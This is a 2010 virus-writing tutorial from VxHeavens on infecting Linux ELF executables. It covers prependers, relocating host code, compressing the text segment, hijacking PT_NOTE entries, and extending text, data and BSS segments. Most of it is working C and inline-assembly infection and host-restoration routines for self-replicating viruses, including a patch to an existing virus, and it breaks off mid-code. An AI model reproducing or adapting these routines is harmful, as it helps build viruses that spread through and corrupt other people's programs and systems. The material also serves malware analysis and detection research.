Version 0.1 herm1t (x) VxHeavens.com, June 2010 Abstract This paper presents the different ELF infection strategies. The primary target is Linux running on IA-32, however most of the code from this tutorial could be adopted for other systems and even other platforms. The snippets includes manipulations with segments (padding, shifting text segment down, merging segments, adding and replacing PHT entries, extending data and BSS areas and different cavity infections, such as data, text, header's cavities). Chapter 1. The Great Prepender Most likely all of you familiar with prependers, the simplest form of infection - the virus searches for suitable victims, writes itself to the beginning of the victim, dumps the original file (located after the last byte of the virus) to the temporary file and executes it. This kind of things are known since MS-DOS and could be easily adopted to unices. I will show that even this protozoan viruses could be improved if you're familiar with the ELF structure. The common thing with this stuff (like Kaiowas, I-am-sick, Bliss and many many others) that the size of the program is not known at the time of compilation. The virus needs to know its own size to find the start of the original program appended to the virus tail. This is the case when the size is really matters. Usually, it's hardcoded in the source and when you're trying to build the source in the different environment you'll have to compile it twice to get the correct value (or even three times, if the original size was set to zero): === size-ct.c === int main(int argc, char **argv) { printf("%d\n", SIZE); } === # gcc -s -DSIZE=0 size-ct.c # ./a.out 0 $ ll ./a.out -rwxr-xr-x 1 root root 2908 Apr 29 14:30 ./a.out # gcc -s -DSIZE=2908 size-ct.c # ./a.out 2908 $ ll ./a.out -rwxr-xr-x 1 root root 2912 Apr 29 14:30 ./a.out $ gcc -s -DSIZE=2912 size-ct.c $ ./a.out 2912 $ ll ./a.out -rwxr-xr-x 1 root root 2912 Apr 29 14:30 ./a.out This happened because the compiler optimizes the access to the short constants. Knowledge of ELF structure will help one to avoid this mess. I will not include here a vast excerpts from the /usr/include/elf.h, you can look throught it on your localhost. But I need to start somewhere, so the ELF file consist of the header (Elf32_Ehdr) that is always located at offset 0 in the file, the executable file will always have the Program Header Table (array of Elf32_Phdr) which describes the loadable segments and one or more segments (blobs) listed in PHT. The Sections Table (array of Elf32_Shdr) is optional and never used neither by kernel nor by dinamic linker. You can use objcopy(1) or sstrip to remove a redundant parts of the executable. The segments with type PT_LOAD are mmaped into memory by kernel, the text segment usually contains all the headers, so them could be accessed at run-time. To do that we need to determine the process base address. (The program is the file itself, the process is the image of the program in memory ready to run). The obvious way to find the headers in memory is to use the value defined in SysV ABI - 0x8048000: $ readelf -l /bin/ls | grep LOAD LOAD 0x000000 0x08048000 0x08048000 0x150f4 0x150f4 R E 0x1000 LOAD 0x0150f4 0x0805e0f4 0x0805e0f4 0x01211 0x01211 RW 0x1000 To get the size of the virus we will find the loadable segment (phdr[i].p_type == PT_LOAD) with highest offset and add to it the segment size: /* get the max offset within loadable segments */ int elf_max_off(Elf32_Ehdr *ehdr) { int i, s, t; /* get the pointer to Program Header Table */ Elf32_Phdr *phdr = (Elf32_Phdr*)((char*)ehdr + ehdr->e_phoff); for (i = s = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD) { t = phdr[i].p_offset + phdr[i].p_filesz; s = t <= s ? : t; } return s; } +---------------+ | EHDR | \ | PHT | first loadable segment | other headers | | code ... | / +---------------+ | data | second loadable segment +---------------+ <--- this is the value we are looking for (the real siz e of the executable) | ... | this part of the file will not be loaded to memory | | here you may find the Section Headers, debug info etc +---------------+ I am using the CentOS distro where the prelink is enabled by default and we are in for an unpleasant surprize: $ readelf -l /bin/ps | grep LOAD LOAD 0x000000 0x08047000 0x08047000 0x12648 0x12648 R E 0x1000 LOAD 0x012648 0x0805a648 0x0805a648 0x00314 0x2068c RW 0x1000 Some executables has different base address. It's because the prelink extended the code segment by one page to fit additional headers (it does it exactly the same way the viruses does and we discuss this technique in the next chapter), but now we need to find the real base address in run-time. Due to mmap(2) constraints, the mmaped region will always began at page boundary, the page size for IA-32 is 4096 bytes, so we could get any address within the program, round it down to the page boundary and check is there ELF magic value at given address, if there is no magic, substract one page until the ELF header is found: void *get_base(uint32_t addr) { addr &= ~4095; while (*(uint32_t*)addr != 0x464c457fUL) // 'E','L','F',0x7 f addr -= 4096; return (void*)addr; } So now we can patch some dumb virus to use this code instead of predefined values, I choose the I-am-sick and here is the diff: We no longer need this: -#define MYSIZE 15488 // <- change this +//#define MYSIZE 15488 // <- change this +int MYSIZE; ... +int elf_max_off(Elf32_Ehdr *ehdr) ... +void *get_base(uint32_t addr) { ... Put the initialization to main(): + MYSIZE = elf_max_off(get_base((uint32_t)main)); We could optimize this thing even further, it uses argv[0] to open itself and read/write(2) to copy the body of the virus. But since we have the base address we could copy the virus body directly from memory: - for (x=0;xint main(int argc, char **argv) { // write(1, "Hello!\n", 7); char hello[] = {'H', 'e', 'l', 'l', 'o', '!', '\n' }; asm ("int $0x80"::"a"(__NR_write),"b"(1),"c"(hello),"d"(7)); } or in assembly: ; exit(0) mov eax, 1 mov ebx, 2 int 0x80 There are also exceptions to this convention: ; socket(PF_INET, SOCK_STREAM, 0) mov eax, 102 ; __NR_socketcall mov ebx, 1 ; SYS_SOCKET push 0 ; protocol push SOCK_STREAM ; type push PF_INET ; domain mov ecx, esp int 0x80 ; mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS, 0, 0); push 0 ; offset push 0 ; fd push 0x20 ; flags push 0x03 ; prot push 0x1000 ; length push 0 ; start mov eax, 90 mov ebx, esp int 0x80 We could define the generic syscall as following: asm( "_syscall:\n" " pusha\n" " mov 36(%esp),%eax\n" " mov 40(%esp),%ebx\n" " mov 44(%esp),%ecx\n" " mov 48(%esp),%edx\n" " mov 52(%esp),%esi\n" " mov 56(%esp),%edi\n" " mov 60(%esp),%ebp\n" " int $0x80\n" " mov %eax,28(%esp)\n" " popa\n" " ret\n"); extern unsigned int _syscall(); #define write(a,b,c) _syscall(4, a,b,c) ... 2.1.2 Virtual Dynamic Shared Object From the 2.6 series of kernels there is the option to use "sysenter" instead of "int 0x80". The feature could be enabled by sysctl -w kernel.vdso=1 If VDSO is available, then the special library appears in the process address space which contains syscall() function. To obtain the address of the VDSO syscall you need to parse aux-vector (array of Elf32_auxv_t located after environment variables): | 0 0 0 0 | guarding zero | filename| real filename, one should use this, not argv[0] | : | | auxv[0] | | : | | : | | envp[0] | environment | : | | : | | argv[0] | command args | argc | <- ESP (Stack) V V ........... ^ ^ | BSS | uninitialized vars and heap +---------+ | DATA | +---------+ | CODE | +---------+ : : : : /* examples/sysenter.c */ #include #include #include #include #include #include typedef int __attribute__((regparm(1))) (*syscall0_t) (int); int main(int argc, char **argv, char **envp) { Elf32_auxv_t *aux; int i; syscall0_t syscall0 = NULL; uint32_t *old_syscall; if ((old_syscall = (uint32_t*)malloc(4 + 4096 - 1)) == NULL) return 1; old_syscall = (uint32_t*)(((uint32_t)old_syscall + 4095) & ~(4095) ); *old_syscall = 0x90c380cd; if (mprotect(old_syscall, 4, PROT_READ|PROT_EXEC)) return 1; for (i=0; envp[i]; ++i) ; for (aux = (Elf32_auxv_t*)(envp + i + 1); aux->a_type; ++aux) if (aux->a_type == AT_SYSINFO) { syscall0 = (void*)aux->a_un.a_val; break; } if (syscall0 == NULL) { printf("AT_SYSINFO not present\n"); syscall0 = (void*)old_syscall; } printf("PID is %d\n", syscall0(__NR_getpid)); } If VDSO is not available the above program would allocate properly aligned chunk of memory and store there the function which will invoke "int 0x80" and return the control to the main program. The regparm attribute is required to force the program to pass the function args through registers instead of stack. Since regparm cannot be larger than 3, the real syscall routine will require some trickery. 2.1.3 Size and base address again In the first chapter I showed how to determine the process base address, but now we need to find the base of the code snippet located at the random position in memory. The classical approach is to use the "call" instruction: virus_start: ... call 1f # the address of "1" goes to stack 1: pop %ebp # load it into ebp sub $(1b - virus_start), %ebp # find the base Bad news - the CALL will be defined with inline assembly, the rest could be coded in C: asm(".globl main; main: call _main; ret"); int _main(int argc) { uint32_t addr = *(uint32_t*)(&argc - 1) - 5; or asm(".globl main; main: call _main; ret"); int _main(void) { uint32_t addr = (uint32_t)__builtin_return_address(0) - 5; With some versions of gcc the -fno-unit-at-a-time switch is required to supress block reordering (because the call must be the first instruction of the virus). After all, the "virus base" code could be written completely in assembly: asm( ".globl main; main:\n" "call 1f\n" "1: sub $(1b-main), (%esp)\n" "call _main\n" "popl %eax\n" "ret"); void _main(int addr) { ... To determine the size of the code snippet I will put it between two labels (the label here is not a C label, the labels of required type could be defined either by assembly or by dummy functions): void end(void); extern start; asm("start:"); int main(int argc, char **argv) { int size = (uint32_t)&end - (uint32_t)&start; printf("The size of main() function is %d bytes\n", size); } void end(){} This will produce the following code: 08048370 : 8048370: b8 8b 83 04 08 mov $0x804838b,%eax # end 8048375: 2d 70 83 04 08 sub $0x8048370,%eax # start 804837a: 89 44 24 08 mov %eax,0x8(%esp) # size 804837e: c7 44 24 04 60 84 04 movl $0x8048460,0x4(%esp) # "The size..." 8048385: 08 8048386: e9 25 ff ff ff jmp 80482b0 0804838b : 804838b: c3 ret Not so good, eh? The original addresses is still here. As always, assembly would allow to make it more optimal: asm("start:"); int main(int argc, char **argv) { int size; asm("movl $(end - start), %0" : "=r"(size)); printf("The size of main() function is %d bytes\n", size); } asm("end:"); 2.1.4 Global variables and constants This restriction is due to the inability to deal with absolute addressing in "mobile" code. Let's see into the code of the simplest "Hello": 080482a0 : 80482a0: ff 25 4c 95 04 08 jmp *0x804954c 80482a6: 68 00 00 00 00 push $0x0 80482ab: e9 e0 ff ff ff jmp 8048290 <_init+0x18> 8048370: 55 push %ebp 8048371: 89 e5 mov %esp,%ebp 8048373: 68 54 84 04 08 push $0x8048454 8048378: e8 23 ff ff ff call 80482a0 804837d: c9 leave 804837e: c3 ret The offset in the call instruction (0xffffff23) would be added to the current address (0x804837d) and the resulting address would be 0x80482a0. Such addresses are called _relative_. The address of the argument to puts() (0x804844) does not depend on the address of the instruction which uses it, it is _absolute_ address. The virus doesn't knew (avoided to know) from which address in memory its code would begin in the victim, so any attempts to use absolute addresses will lead to crash. The virus might fix all absolute references within its code, but this requires either the table with the list of all places where absolute addresses must be fixed (such table in the regular programs is called _relocation_ table, it is absent in the majority of executables and might be keeped by passing -Wl,-emit-relocs switch to the compiler), or a disassembler which would be able to disassemble the virus, analyze all the references and fix them. Don't you think that it's a bit too complex? int a; int main(int argc, char **argv) { printf("%d\n", a); return 0; } 08048370 : 8048370: ff 35 68 95 04 08 pushl 0x8049568 # a variab le 8048376: 68 5c 84 04 08 push $0x804845c # string " %d\n" 804837b: e8 30 ff ff ff call 80482b0 8048380: 58 pop %eax 8048381: 5a pop %edx 8048382: 31 c0 xor %eax,%eax 8048384: c3 ret If we try to load this program at different address the segmentation fault will be unavoidable, because there would be unmapped pages at the addresses presented in the code. The crash would happen even earlier than program interpreter (/lib/ld-linux.so) would try to load libc and resolve the addresses of the external functions. An reasonable alternative for the global variables and string constants is the gcc extension - global register variables and initialized arrays: #include typedef struct { int a; } global_vars; register global_vars *globals asm("ebp"); void foo(void) { char fmt[4] = {'%', 'd', '\n', 0 }; printf(fmt, globals->a); *(uint32_t*)fmt = 0x000a7825; /* "%x\n" */ printf(fmt, globals->a); } int main(int argc, char **argv) { global_vars g; globals = &g; globals->a = 99; foo(); return 0; } 08048370 : 8048370: 53 push %ebx 8048371: 50 push %eax 8048372: c7 04 24 25 64 0a 00 movl $0xa6425,(%esp) # a) 8048379: ff 75 00 pushl 0x0(%ebp) # globals->a 804837c: 8d 5c 24 04 lea 0x4(%esp),%ebx 8048380: 53 push %ebx 8048381: e8 2a ff ff ff call 80482b0 8048386: c7 44 24 08 25 78 0a movl $0xa7825,0x8(%esp) # b) 804838d: 00 804838e: ff 75 00 pushl 0x0(%ebp) # globals->a 8048391: 53 push %ebx 8048392: e8 19 ff ff ff call 80482b0 8048397: 83 c4 14 add $0x14,%esp 804839a: 5b pop %ebx 804839b: c3 ret 0804839c : 804839c: 51 push %ecx 804839d: 89 e5 mov %esp,%ebp # globals = &g 804839f: c7 04 24 63 00 00 00 movl $0x63,(%esp) $ g.a = 99 80483a6: e8 c5 ff ff ff call 8048370 80483ab: 31 c0 xor %eax,%eax 80483ad: 5a pop %edx 80483ae: c3 ret The space for the g structure is allocated in the stack and all the references are relative to the ebp register. In this example both assigments produce the same code, but case b) is pref'd, because with large arrays there are chance that gcc will copy the array's content to the .rodata section and will emit the memcpy from .rodata to local variable. 2.1.5 Functions addresses, offsets and delta-offsets The next trivial example of callback: int bar(void) { return 1; } int foo(int (*f)(void)) { return f(); } main() { return foo(bar); } Produce the following code: 0804833c : 804833c: b8 01 00 00 00 mov $0x1,%eax 8048341: c3 ret 08048342 : 8048342: ff 54 24 04 call *0x4(%esp) 8048346: c3 ret 08048347 : 8048347: 68 3c 83 04 08 push $0x804833c # abs. add r. of bar 804834c: e8 f1 ff ff ff call 8048342 8048351: 5a pop %edx 8048352: c3 ret But it is possible to calculate the addresses of functions at run-time using their offsets (from the beginning of the virus) or delta-offsets: /* examples/fooptr1.c */ #include #include extern main(); asm(".globl main; main: call _main; ret"); int foo(void) { return 99; } void _main(void) { uint32_t addr = (uint32_t)__builtin_return_address(0) - 5; int (*foo_ptr)(void) = (int(*)(void))(addr + (foo - main)); printf("%d\n", foo_ptr()); } /* examples/fooptr2.c */ #include #include extern void main(void); asm(".globl main; main: call _main; ret"); int foo(void) { return 99; } void _main(void) { uint32_t delta = (uint32_t)main - ((uint32_t)__builtin_return_addr ess(0) - 5); int (*foo_ptr)(void) = (int(*)(void))((uint32_t)foo + delta); printf("%d %d\n", delta, foo_ptr()); } the addresses in the but in the infected file first gen. of virus virus will occupy were tuned by the the different addresses linker : : : : 8048000 | | 8048000 | | | | | | 8048370 |main: |--- --- 8048370 |- - - - - - - | | | X ^ | | virus "thinki ng" 8048376 |foo: |--- | 8048376 | | that its body | | | | | is here | _main: | | | | | | | D | | | | | |- - - - - - - | : : | : : v : : X = 8048376 - 8048370 = 6 --- 8049000 | main: | but actually it's here D = 8048370 - 8049000 = -3216 | | 8049006 | foo | | | | _main | X is the offset of foo() function from main() label, D is the delta-offset of the virus (the difference between old and new addresses). In the code references to foo() may look like "call [ebx + 6]" (ebx contains the base address of virus), or like "call [8048376 + ebx] (delta in ebx). The results are nearly the same. Position-independent code generated by the compiler uses the first trick, but all offsets are calculated from the .got.plt section. 2.1.6 Framework. Sort of. I will use a few macros and functions to minimize the code of the examples. It includes recursive search() routine (very similar to the function from Tannenbaum's MOS book) and common parts of the infect() routine which will open file for read/write, mmap it and check the headers. At last, we have all parts of the future parasite! 2.2 Moving the host to overlay This is somehow similar to the prepending infection. I will copy the virus_size bytes from the entry point of the program to the tail of the file and write the virus body on its place. When the virus will inish its work it will move itself to the newly allocated memory and will read the host's original bytes where it were. BEFORE AFTER +--------------+ +--------------+ |.ELF | text segment |.ELF | | | | | | HOST | <-- entry point --> |VIRUS| ..ST | | | | | +--------------+ +--------------+ | | data segment | | | | | | | | | | | | | | +--------------+ +--------------+ : : non-loadable : : : : : : : : : : +- - - - - - - + +- - - - - - - + : HO...: +------+ The virus must: * Determine the size of its code and location in memory, save it to global variable * Find the suitable victim * Check that there is enough space in the code segment between entry point and the end of segment * Move the frgament of the host code (equal in size to the virus) from the entry point to the end of file * Write its own code to the entry point * Find another victim * Allocate the memory and move its code there * "Free" the text segment of itself * Read the host code (from the file's tail) to the text segment * Pass the control to the entry point /* 1) find text segment */ Elf32_Phdr *text_seg; phdr = (Elf32_Phdr*)(m + ehdr->e_phoff); for (text_seg = NULL, i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) { text_seg = &phdr[i]; break; } if (text_seg == NULL) goto _unmap; /* 2) check is there enough space between entry point and end of segment * / if ((text_seg->p_vaddr + text_seg->p_filesz - ehdr->e_entry) < 409 6) goto _unmap; /* 3) move part of the .text from the entry point to the end of file */ char *p = m + ehdr->e_entry - text_seg->p_vaddr; if (write(h, p, g->size) != g->size) goto _unmap; /* 4) write virus body */ memcpy(p, g->self, g->size); Easy, right? But when the infected progam will be executed and the virus will infect eveything that moves, it need to restore the original program. To do this the virus will: /* 1) Allocate the memory for the copy of itself */ uint32_t nloc; nloc = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON YMOUS, 0, 0); if (nloc > 0xfffff000) exit(0); /* 2) Copy its body there */ memcpy((void*)nloc, (void*)self, size); /* 3) Jump to the newly allocated memory */ mprotect(nloc, size, PROT_READ|PROT_EXEC); #ifdef CJMP void __attribute__((noinline,stdcall)) jmp(uint32_t addr) { *(volatile unsigned int*)(&addr - 1) = addr; } if (nloc == 0xdeadbeef) goto L; #warning "You're using CJMP" jmp(nloc + ((uint32_t)&&L - (uint32_t)&virus_start)); L: #else asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r "(nloc):"%eax"); #endif /* 4) Change memory permissions of freed memory to RW */ mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PRO T_WRITE); /* 5) Read the original bytes there */ unsigned int selfexe[4]; /* "/proc/self/exe" */ selfexe[0] = 0x6f72702f; selfexe[1] = 0x65732f63; selfexe[2] = 0x652f666c; selfexe[3] = 0x00006578; int h = open(selfexe, 0); lseek(h, -size, 2); read(h, self, size); read(h, 0, 0); close(h); /* 6) Change permissions to RX */ mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PRO T_EXEC); /* 7) Proceed to the entry point */ /* this line is located between 2) and 3) */ *(uint32_t*)(nloc + 10) = (uint32_t)self - (uint32_t)nloc - 14; ... *(uint32_t*)(&esp - 1) = (nloc + 7); The memory is allocated by mmap() with MAP_ANONYMOUS flag, the complex part is jumps coded in C. To free the memory virus need to jump to newly allocated area: Steps 1-4 Steps 5-7 : : : : | V | memory allocated by mmap | V | | I | | I | | R |<---+ | R | | U | | | U | | S | | +---| S | : : | | : : : : | | : : +---+ text segment | +---+ | | | | | | | | | | | | | V |<------ Entry point +-->| H | | I | | | O | | R | ---+ | S | | U | | T | | S | | | The complete code of this virus is in the "Mover" directory. 2.3 Compressing the text segment let's find the place for the host code somewhere within segment. Compress the code from the entry point: +--------------+ +--------------+ | | | | | code code co |< --- EP --- >| VIRUS | comp | | de code code | | ressed seg. | | rodata ... | | 0 0 0 0 0 0 | | | | 0 0 0 0 0 0 | +--------------+ +--------------+ The code will be quite similar to the previous section, the virus will * Find the text segment * Calculate the size of the area between entry point and the end of segment (size) * Allocate "size" bytes of memory with brk() system call * Attempt to compress the host's code (using arithmetic encoding) * Check is there enough space for the virus body and compressed host code. * Copy virus and encoded host's code to the entry point /* examples/Compressor/infect-compr.c */ for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) { char tmp[3374]; uint32_t vo = ehdr->e_entry - phdr[i].p_vaddr; uint32_t csize, size = phdr[i].p_filesz - vo; char *ctext = (void*)brk(0); brk(ctext + size); mprotect(ctext, size, PROT_READ|PROT_WRITE); if ((csize = ari_compress(m + vo, ctext, size, tmp )) == 0) goto error; if (size < csize + g->size+ 4) goto error; uint8_t *p = (uint32_t*)(m + vo); bzero(p, size); memcpy(p, g->self, g->size); p += g->size; memcpy(p, &size, 4); p += 4; memcpy(p, ctext, csize); /* entry point left unchanged */ break; error: /* free memory */ bzero(ctext, size); brk(ctext); goto _unmap; } When the virus will finish its work it is neccessary to unpack the compressed host's code: /* examples/Compressor/restore.c */ /* move itself to the new memory location */ uint32_t text_size = *(uint32_t*)(g->self + g->size); uint32_t nloc; nloc = mmap(NULL, text_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP _ANONYMOUS, 0, 0); if (nloc > 0xfffff000) exit(0); memcpy((void*)nloc, g->self, text_size); *(uint32_t*)(nloc + 8) -= nloc - (uint32_t)g->self; mprotect(nloc, text_size, PROT_READ|PROT_EXEC); asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r "(nloc):"%eax"); /* restore victim */ char tmp[3374]; text_size = (text_size + 4095) & 0xfffff000; mprotect((uint32_t)g->self & 0xfffff000, text_size, PROT_READ|PROT _WRITE); ari_expand((void*)(nloc + g->size + 4), g->self, tmp); mprotect((uint32_t)g->self & 0xfffff000, text_size, PROT_READ|PROT _EXEC); /* adjust return address */ *(uint32_t*)(&esp - 1) = (nloc + 6); Segments Replacing unused PHT entries It's nearly impossible to change the segment address, but may be we could add another segment? What should we do? Not too much: write the virus code somewhere in the file and add the entry to the Program Headers Table describing new segment. But again it's hard to increase the table size because the table itself is located in the text segment. Let's take a closer look to the table: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000 LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000 DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4 NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4 GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 The neccessary records are of type PT_LOAD (this is the program's code and data), PT_INTERP (path to the dynamic linker), PT_DYNAMIC (linker's data). The rest (with some restrictions) could be replaced. * PT_NOTE rarely used. Might be erased without any doubts. * PT_PHDR Could be removed if the PHT is located within loadable segment (usually it is). * PT_GNU_STACK Could be erased if the program doesn't require the executable stack ((p_flags & PF_X) == 0) * PT_GNU_EH_FRAME How to fill the structure for the new segment? * p_type - PT_LOAD (loadable segment) * p_offset - offset of virus in the file * p_vaddr, p_paddr - virus address in memory (co-aligned with offset) * p_filesz, p_memsz - virus size * p_flags - PF_R | PF_X * p_align - 4096 I will adapt Mover's code. ... asm( ".globl fake_host; fake_host: mov $1, %eax; int $0x80"); asm( ".globl virus_start; virus_start:\n" "pusha; call virus; popa; .byte 0xe9; .long fake_host - . - 4"); ... void virus(void) { /* determine our own size and location in memory, init globals */ globals glob; g = &glob; g->size = (uint32_t)&virus_end - (uint32_t)&virus_start; g->self = (void*)__builtin_return_address(0) - 6; /* do our job */ search(NULL); } /* examples/Segments/infect-replace.c */ /* find PT_NOTE and min addr */ Elf32_Phdr *p; uint32_t base; phdr = (Elf32_Phdr*)(m + ehdr->e_phoff); for (base = 0, p = NULL, i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_NOTE) { p = &phdr[i]; // break; } else if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) base = phdr[i].p_vaddr; if (p == NULL) goto _unmap; /* turn PT_NOTE into PT_LOAD */ p->p_type = PT_LOAD; p->p_flags = PF_R|PF_X; p->p_align = 0x1000; p->p_offset = l; p->p_filesz = p->p_memsz = g->size; p->p_vaddr = p->p_paddr = base - (2*PAGE_SIZE) + (l & (PAGE_SIZE - 1)); if (write(h, g->self, g->size) != g->size) goto _unmap; uint32_t jmp = old_entry - p->p_vaddr - 12; pwrite(h, &jmp, 4, l + 8, 0); ehdr->e_entry = p->p_vaddr; It will look as follows: File Memory +------+ |VIRUS | +------+ +------+ | CODE | | CODE | +------+ +------+ | DATA | | DATA | +------+ +------+ : : : : +------+ |VIRUS | +------+ In memory the virus is located one page below text segment. Other possibility is to map the new segment at the fixed address, that will even further simplify the code. Before Entry point 0x8049db0 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000 LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000 DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4 NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4 GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 After Entry point 0x804738c Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000 LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000 DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4 LOAD 0x01538c 0x0804738c 0x0804738c 0x0030e 0x0030e R E 0x1000 GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 Extending the text segment "down" We could not move the text segment (it contains the absolute addresses) or extend it "up" (the data segment begins right after the code), but we could extend it "down". Memory Before After 8047000 +-----------+ | EHDR | 8048000 +-----------+ - - - - -| PHDR - - | - - | ELF | entry -> | virus | | PHT | | | | .interp | _ _ _ _ _| .interp | _ _ : : : : | | | | entry ->| .text | | .text | | | | | +-----------+ +-----------+ | | | | | .data | | .data | | | | | +-----------+ +-----------+ I will use the same code and change the infect() routine: /* examples/Segments/infect-textdown.c */ /* FreeBSD assumes that ELF Header, PHDR and INTERP fit in first p age */ /* see /sys/kern/imgact_elf.c for details */ uint32_t t = 0; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_INTERP) { t = phdr[i].p_offset + phdr[i].p_filesz; break; } /* no INTERP, put the virus right after PHDR */ if (t == 0) t = ehdr->e_phoff + ehdr->e_phnum * sizeof(Elf32_Phdr); /* do we have enough space? */ if ((PAGE_SIZE - t) < g->size) goto _unmap; /* copy virus body */ MAKE_HOLE(0, PAGE_SIZE); memcpy(m + t, g->self, g->size); bzero(m + t + g->size, PAGE_SIZE - g->size); /* adjust headers */ SHIFT_SHDRS(0, PAGE_SIZE); for (i = 0; i < ehdr->e_phnum; i++) { /* extend text segment downwards */ if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) { phdr[i].p_vaddr -= PAGE_SIZE; phdr[i].p_paddr -= PAGE_SIZE; phdr[i].p_filesz+= PAGE_SIZE; phdr[i].p_memsz += PAGE_SIZE; /* change entry point */ *(uint32_t*)(m + t + 8) = old_entry - phdr[i].p_va ddr - t - 12; ehdr->e_entry = phdr[i].p_vaddr + t; } else /* leave these segments in the beginning... */ if (phdr[i].p_type == PT_PHDR || phdr[i].p_type == PT_INTE RP) { phdr[i].p_vaddr -= PAGE_SIZE; phdr[i].p_paddr -= PAGE_SIZE; } else /* shift the others */ phdr[i].p_offset+= PAGE_SIZE; } Extending the data segment Initializing the .bss Before After file memory file and memory +-----------+ +-----------+ +-----------+ | | | | | | | .text | | .text | | .text | +-----------+ +-----------+ +-----------+ | .data | | .data | | .data | | | | | | | +-----------+ |- - - - - -| |- - - - - -| p_memsz > | .bss | | .bss 00000| p_memsz = p_filesz +-----------+ |- - - - - -| p_filesz | virus | +-----------+ /* examples/Segments/infect-bssend.c */ uint32_t t, u; Elf32_Phdr *p = NULL; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset) { p = &phdr[i]; break; } if (p == NULL) goto _unmap; t = p->p_offset + p->p_filesz; u = p->p_memsz - p->p_filesz + g->size; MAKE_HOLE(t, u); bzero(m + t, u); SHIFT_SHDRS(t, u); /* write virus body */ memcpy(m + p->p_offset + p->p_memsz, g->self, g->size); t = p->p_vaddr + p->p_memsz; *(uint32_t*)(m + p->p_offset + p->p_memsz + 8) = old_entry - t - 1 2; p->p_flags |= PF_X; p->p_filesz += u; p->p_memsz = p->p_filesz; ehdr->e_entry = t; End of data segment Before After file memory file memory +-----------+ +-----------+ +-----------+ +-----------+ | | | | | | | | | .text | | .text | | .text | | .text | +-----------+ +-----------+ +-----------+ +-----------+ | .data | | .data | | .data | | .data | | | | | | | | | +-----------+ |- - - - - -| | | | | | | | Virus | | Virus | | .bss | +-----------+ |- - - - - -| | | | .bss | +-----------+ +-----------+ /* examples/Segments/infect-dataend.c */ Elf32_Phdr *p = NULL; uint32_t t, u; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && (p == NULL || phdr[i].p_v addr > p->p_vaddr)) p = &phdr[i]; if (p == NULL) goto _unmap; t = p->p_offset + p->p_filesz; u = p->p_vaddr + p->p_filesz; MAKE_HOLE(t, g->size); memcpy(m + t, g->self, g->size); p->p_filesz += g->size; if (p->p_memsz < p->p_filesz) p->p_memsz = p->p_filesz; p->p_flags |= PF_X | PF_R; p->p_align = 0x1000; SHIFT_SHDRS(t, g->size); *(uint32_t*)(m + t + 8) = old_entry - u - 12; ehdr->e_entry = u; #define CLEAN_ITSELF Virus writes itself to the area which holds the unitialized data. Surprize! An infected programs working incorectly. What's happened? Let's infect the following program: /* examples/Segments/victim.c */ #include int test[16]; int main(int argc, char **argv) { int i; for (i = 0; i < 16; i++) printf("%x ", test[i]); putchar('\n'); return 0; } It must print zeroes: ./victim 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 After infection? ./victim 246c8b38 8980cd3c 611c2444 535657c3 ... Looks similar, right? It's our own code! To give the program its zeroes promissed by C99, the virus must clean the memory where it resides. The common trick to do so (used by T. Duff twenty years ago) is to place the clean routine to stack, but since the stack is not executable anymore and it's a headache to fix that, let's use the code from the previous chapter (Mover again): /* examples/Segments/virus_clean_itself.c */ #ifdef CLEAN_ITSELF /* move itself to the new memory location */ uint32_t nloc; nloc = mmap(NULL, g->size, PROT_READ|PROT_WRITE, 